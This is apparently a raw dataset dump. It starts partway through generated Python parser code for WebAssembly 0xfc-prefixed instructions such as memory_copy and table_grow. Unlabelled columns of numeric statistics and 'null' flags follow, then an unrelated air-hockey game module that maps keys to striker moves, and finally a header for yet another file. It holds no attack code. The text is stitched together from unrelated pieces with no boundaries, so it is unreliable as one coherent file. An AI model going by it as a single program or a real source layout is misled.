Byte # 0x4 if (_pos < len(_text)) and (_text[_pos] == 4): _result = 4 _pos = (_pos + 1) _status = True else: _result = _raise_error1730 _status = False # End Byte if not (_status): break code = _result _result = i64_trunc_sat_f32_s() _result._metadata.position_info = (start_pos231, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1728(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f32_s' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1730(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f32_s' rule, at the expression:\n" ' 0x4\n\n' 'Expected to match the byte value 0x4' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_sat_f32_u(Node): """ class i64_trunc_sat_f32_u { let id: 0xfc let code: 0x5 } """ _fields = () id = 0xfc code = 0x5 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_sat_f32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_sat_f32_u, fullparse) def _try_i64_trunc_sat_f32_u(_text, _pos): # Begin Seq start_pos232 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1734 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x5 if (_pos < len(_text)) and (_text[_pos] == 5): _result = 5 _pos = (_pos + 1) _status = True else: _result = _raise_error1736 _status = False # End Byte if not (_status): break code = _result _result = i64_trunc_sat_f32_u() _result._metadata.position_info = (start_pos232, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1734(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f32_u' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1736(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f32_u' rule, at the expression:\n" ' 0x5\n\n' 'Expected to match the byte value 0x5' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_sat_f64_s(Node): """ class i64_trunc_sat_f64_s { let id: 0xfc let code: 0x6 } """ _fields = () id = 0xfc code = 0x6 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_sat_f64_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_sat_f64_s, fullparse) def _try_i64_trunc_sat_f64_s(_text, _pos): # Begin Seq start_pos233 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1740 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x6 if (_pos < len(_text)) and (_text[_pos] == 6): _result = 6 _pos = (_pos + 1) _status = True else: _result = _raise_error1742 _status = False # End Byte if not (_status): break code = _result _result = i64_trunc_sat_f64_s() _result._metadata.position_info = (start_pos233, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1740(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f64_s' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1742(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f64_s' rule, at the expression:\n" ' 0x6\n\n' 'Expected to match the byte value 0x6' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_sat_f64_u(Node): """ class i64_trunc_sat_f64_u { let id: 0xfc let code: 0x7 } """ _fields = () id = 0xfc code = 0x7 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_sat_f64_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_sat_f64_u, fullparse) def _try_i64_trunc_sat_f64_u(_text, _pos): # Begin Seq start_pos234 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1746 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x7 if (_pos < len(_text)) and (_text[_pos] == 7): _result = 7 _pos = (_pos + 1) _status = True else: _result = _raise_error1748 _status = False # End Byte if not (_status): break code = _result _result = i64_trunc_sat_f64_u() _result._metadata.position_info = (start_pos234, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1746(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f64_u' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1748(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_sat_f64_u' rule, at the expression:\n" ' 0x7\n\n' 'Expected to match the byte value 0x7' ) raise ParseError((title + details), _pos, line, col) class memory_init(Node): """ class memory_init { let id: 0xfc let code: 0x8 data_index: DataIndex let zero: 0x0 } """ _fields = ('data_index',) id = 0xfc code = 0x8 zero = 0x0 def __init__(self, data_index): Node.__init__(self) self.data_index = data_index def __repr__(self): return f'memory_init(data_index={self.data_index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_memory_init, fullparse) def _try_memory_init(_text, _pos): # Begin Seq start_pos235 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1752 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x8 if (_pos < len(_text)) and (_text[_pos] == 8): _result = 8 _pos = (_pos + 1) _status = True else: _result = _raise_error1754 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_DataIndex, _pos)) # End Ref if not (_status): break data_index = _result # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error1758 _status = False # End Byte if not (_status): break zero = _result _result = memory_init(data_index) _result._metadata.position_info = (start_pos235, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1752(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_init' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1754(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_init' rule, at the expression:\n" ' 0x8\n\n' 'Expected to match the byte value 0x8' ) raise ParseError((title + details), _pos, line, col) def _raise_error1758(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_init' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class data_drop(Node): """ class data_drop { let id: 0xfc let code: 0x9 data_index: DataIndex } """ _fields = ('data_index',) id = 0xfc code = 0x9 def __init__(self, data_index): Node.__init__(self) self.data_index = data_index def __repr__(self): return f'data_drop(data_index={self.data_index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_data_drop, fullparse) def _try_data_drop(_text, _pos): # Begin Seq start_pos236 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1762 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x9 if (_pos < len(_text)) and (_text[_pos] == 9): _result = 9 _pos = (_pos + 1) _status = True else: _result = _raise_error1764 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_DataIndex, _pos)) # End Ref if not (_status): break data_index = _result _result = data_drop(data_index) _result._metadata.position_info = (start_pos236, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1762(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'data_drop' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1764(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'data_drop' rule, at the expression:\n" ' 0x9\n\n' 'Expected to match the byte value 0x9' ) raise ParseError((title + details), _pos, line, col) class memory_copy(Node): """ class memory_copy { let id: 0xfc let code: 0xa let zeros: b'\\x00\\x00' } """ _fields = () id = 0xfc code = 0xa zeros = b'\x00\x00' def __init__(self): Node.__init__(self) def __repr__(self): return f'memory_copy()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_memory_copy, fullparse) def _try_memory_copy(_text, _pos): # Begin Seq start_pos237 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1770 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0xa if (_pos < len(_text)) and (_text[_pos] == 10): _result = 10 _pos = (_pos + 1) _status = True else: _result = _raise_error1772 _status = False # End Byte if not (_status): break code = _result # Begin Str value3 = b'\x00\x00' end3 = (_pos + 2) if (_text[slice(_pos, end3, None)] == value3): _result = value3 _pos = end3 _status = True else: _result = _raise_error1774 _status = False # End Str if not (_status): break zeros = _result _result = memory_copy() _result._metadata.position_info = (start_pos237, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1770(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_copy' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1772(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_copy' rule, at the expression:\n" ' 0xa\n\n' 'Expected to match the byte value 0xa' ) raise ParseError((title + details), _pos, line, col) def _raise_error1774(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_copy' rule, at the expression:\n" " b'\\x00\\x00'\n\n" "Expected to match the string b'\\x00\\x00'" ) raise ParseError((title + details), _pos, line, col) class memory_fill(Node): """ class memory_fill { let id: 0xfc let code: 0xb let zero: 0x0 } """ _fields = () id = 0xfc code = 0xb zero = 0x0 def __init__(self): Node.__init__(self) def __repr__(self): return f'memory_fill()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_memory_fill, fullparse) def _try_memory_fill(_text, _pos): # Begin Seq start_pos238 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1778 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0xb if (_pos < len(_text)) and (_text[_pos] == 11): _result = 11 _pos = (_pos + 1) _status = True else: _result = _raise_error1780 _status = False # End Byte if not (_status): break code = _result # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error1782 _status = False # End Byte if not (_status): break zero = _result _result = memory_fill() _result._metadata.position_info = (start_pos238, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1778(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_fill' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1780(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_fill' rule, at the expression:\n" ' 0xb\n\n' 'Expected to match the byte value 0xb' ) raise ParseError((title + details), _pos, line, col) def _raise_error1782(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'memory_fill' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class table_init(Node): """ class table_init { let id: 0xfc let code: 0xc element: ElementIndex table: TableIndex } """ _fields = ('element', 'table') id = 0xfc code = 0xc def __init__(self, element, table): Node.__init__(self) self.element = element self.table = table def __repr__(self): return f'table_init(element={self.element!r}, table={self.table!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_init, fullparse) def _try_table_init(_text, _pos): # Begin Seq start_pos239 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1786 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0xc if (_pos < len(_text)) and (_text[_pos] == 12): _result = 12 _pos = (_pos + 1) _status = True else: _result = _raise_error1788 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ElementIndex, _pos)) # End Ref if not (_status): break element = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table = _result _result = table_init(element, table) _result._metadata.position_info = (start_pos239, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1786(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_init' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1788(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_init' rule, at the expression:\n" ' 0xc\n\n' 'Expected to match the byte value 0xc' ) raise ParseError((title + details), _pos, line, col) class elem_drop(Node): """ class elem_drop { let id: 0xfc let code: 0xd element: ElementIndex } """ _fields = ('element',) id = 0xfc code = 0xd def __init__(self, element): Node.__init__(self) self.element = element def __repr__(self): return f'elem_drop(element={self.element!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_elem_drop, fullparse) def _try_elem_drop(_text, _pos): # Begin Seq start_pos240 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1796 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0xd if (_pos < len(_text)) and (_text[_pos] == 13): _result = 13 _pos = (_pos + 1) _status = True else: _result = _raise_error1798 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ElementIndex, _pos)) # End Ref if not (_status): break element = _result _result = elem_drop(element) _result._metadata.position_info = (start_pos240, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1796(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'elem_drop' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1798(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'elem_drop' rule, at the expression:\n" ' 0xd\n\n' 'Expected to match the byte value 0xd' ) raise ParseError((title + details), _pos, line, col) class table_copy(Node): """ class table_copy { let id: 0xfc let code: 0xe destination: TableIndex source: TableIndex } """ _fields = ('destination', 'source') id = 0xfc code = 0xe def __init__(self, destination, source): Node.__init__(self) self.destination = destination self.source = source def __repr__(self): return f'table_copy(destination={self.destination!r}, source={self.source!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_copy, fullparse) def _try_table_copy(_text, _pos): # Begin Seq start_pos241 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1804 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0xe if (_pos < len(_text)) and (_text[_pos] == 14): _result = 14 _pos = (_pos + 1) _status = True else: _result = _raise_error1806 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break destination = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break source = _result _result = table_copy(destination, source) _result._metadata.position_info = (start_pos241, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1804(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_copy' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1806(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_copy' rule, at the expression:\n" ' 0xe\n\n' 'Expected to match the byte value 0xe' ) raise ParseError((title + details), _pos, line, col) class table_grow(Node): """ class table_grow { let id: 0xfc let code: 0xf table: TableIndex } """ _fields = ('table',) id = 0xfc code = 0xf def __init__(self, table): Node.__init__(self) self.table = table def __repr__(self): return f'table_grow(table={self.table!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_grow, fullparse) def _try_table_grow(_text, _pos): # Begin Seq start_pos242 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1814 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0xf if (_pos < len(_text)) and (_text[_pos] == 15): _result = 15 _pos = (_pos + 1) _status = True else: _result = _raise_error1816 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table = _result _result = table_grow(table) _result._metadata.position_info = (start_pos242, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1814(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_grow' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1816(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_grow' rule, at the expression:\n" ' 0xf\n\n' 'Expected to match the byte value 0xf' ) raise ParseError((title + details), _pos, line, col) class table_size(Node): """ class table_size { let id: 0xfc let code: 0x10 table: TableIndex } """ _fields = ('table',) id = 0xfc code = 0x10 def __init__(self, table): Node.__init__(self) self.table = table def __repr__(self): return f'table_size(table={self.table!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_size, fullparse) def _try_table_size(_text, _pos): # Begin Seq start_pos243 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1822 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x10 if (_pos < len(_text)) and (_text[_pos] == 16): _result = 16 _pos = (_pos + 1) _status = True else: _result = _raise_error1824 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table = _result _result = table_size(table) _result._metadata.position_info = (start_pos243, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1822(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_size' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1824(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_size' rule, at the expression:\n" ' 0x10\n\n' 'Expected to match the byte value 0x10' ) raise ParseError((title + details), _pos, line, col) class table_fill(Node): """ class table_fill { let id: 0xfc let code: 0x11 table: TableIndex } """ _fields = ('table',) id = 0xfc code = 0x11 def __init__(self, table): Node.__init__(self) self.table = table def __repr__(self): return f'table_fill(table={self.table!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_table_fill, fullparse) def _try_table_fill(_text, _pos): # Begin Seq start_pos244 = _pos while True: # Begin Byte # 0xfc if (_pos < len(_text)) and (_text[_pos] == 252): _result = 252 _pos = (_pos + 1) _status = True else: _result = _raise_error1830 _status = False # End Byte if not (_status): break id = _result # Begin Byte # 0x11 if (_pos < len(_text)) and (_text[_pos] == 17): _result = 17 _pos = (_pos + 1) _status = True else: _result = _raise_error1832 _status = False # End Byte if not (_status): break code = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableIndex, _pos)) # End Ref if not (_status): break table = _result _result = table_fill(table) _result._metadata.position_info = (start_pos244, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1830(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_fill' rule, at the expression:\n" ' 0xfc\n\n' 'Expected to match the byte value 0xfc' ) raise ParseError((title + details), _pos, line, col) def _raise_error1832(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'table_fill' rule, at the expression:\n" ' 0x11\n\n' 'Expected to match the byte value 0x11' ) raise ParseError((title + details), _pos, line, col)
26.798648
2,551
0.553351
69,272
590,669
4.336153
0.021524
0.053507
0.035306
0.023384
0.848472
0.810366
0.758997
0.719846
0.663363
0.620996
0
0.046916
0.344149
590,669
22,040
2,552
26.799864
0.72846
0.100347
0
0.679235
1
0.00101
0.133938
0.014134
0
0
0.005894
0
0
1
0.092445
false
0.001683
0.003771
0.03582
0.184958
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c042663e1c1f5cad636ece92f5590cb7092ff57d
2,518
py
Python
air_hockey/game/scripting/control_striker_action.py
Nemo3003/cse210-06
30ecefac7f23927be904f48b29492bb2220262a8
[ "Apache-2.0" ]
null
null
null
air_hockey/game/scripting/control_striker_action.py
Nemo3003/cse210-06
30ecefac7f23927be904f48b29492bb2220262a8
[ "Apache-2.0" ]
null
null
null
air_hockey/game/scripting/control_striker_action.py
Nemo3003/cse210-06
30ecefac7f23927be904f48b29492bb2220262a8
[ "Apache-2.0" ]
null
null
null
from constants import * from game.scripting.action import Action """ The striker must be controlled! so this is why this module exists :) """ class ControlStrikerAction(Action): def __init__(self, keyboard_service): self._keyboard_service = keyboard_service def execute(self, cast, script, callback): striker = cast.get_first_actor(STRIKER_GROUP) if self._keyboard_service.is_key_down(D) & self._keyboard_service.is_key_down(W): striker.swing_upright() elif self._keyboard_service.is_key_down(A) & self._keyboard_service.is_key_down(W): striker.swing_upleft() elif self._keyboard_service.is_key_down(D) & self._keyboard_service.is_key_down(S): striker.swing_downright() elif self._keyboard_service.is_key_down(A) & self._keyboard_service.is_key_down(S): striker.swing_downleft() elif self._keyboard_service.is_key_down(A): striker.swing_left() elif self._keyboard_service.is_key_down(D): striker.swing_right() elif self._keyboard_service.is_key_down(W): striker.swing_up() elif self._keyboard_service.is_key_down(S): striker.swing_down() else: striker.stop_moving() class ControlStrikerAction2(Action): def __init__(self, keyboard_service): self._keyboard_service = keyboard_service def execute(self, cast, script, callback): striker2 = cast.get_first_actor(STRIKER_GROUP2) if self._keyboard_service.is_key_down(RIGHT) & self._keyboard_service.is_key_down(UP): striker2.swing_upright() elif self._keyboard_service.is_key_down(LEFT) & self._keyboard_service.is_key_down(UP): striker2.swing_upleft() elif self._keyboard_service.is_key_down(RIGHT) & self._keyboard_service.is_key_down(DOWN): striker2.swing_downright() elif self._keyboard_service.is_key_down(LEFT) & self._keyboard_service.is_key_down(DOWN): striker2.swing_downleft() elif self._keyboard_service.is_key_down(LEFT): striker2.swing_left() elif self._keyboard_service.is_key_down(RIGHT): striker2.swing_right() elif self._keyboard_service.is_key_down(UP): striker2.swing_up() elif self._keyboard_service.is_key_down(DOWN): striker2.swing_down() else: striker2.stop_moving()
38.738462
99
0.669579
313
2,518
4.952077
0.172524
0.290323
0.343226
0.325161
0.829032
0.798065
0.798065
0.795484
0.788387
0.44
0
0.006276
0.240667
2,518
64
100
39.34375
0.804393
0
0
0.166667
0
0
0
0
0
0
0
0
0
1
0.083333
false
0
0.041667
0
0.166667
0
0
0
0
null
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
c04f5c4f7f2dc7583d45657b8e401521be76feba
2,918
gyp
Python
binding.gyp
sandeepmistry/node-objective-c-runtime
e0b26c4b5494b3b10625fb51bcaaf2c4d9511d88
[ "MIT" ]
1
2020-08-14T13:00:21.000Z
2020-08-14T13:00:21.000Z
binding.gyp
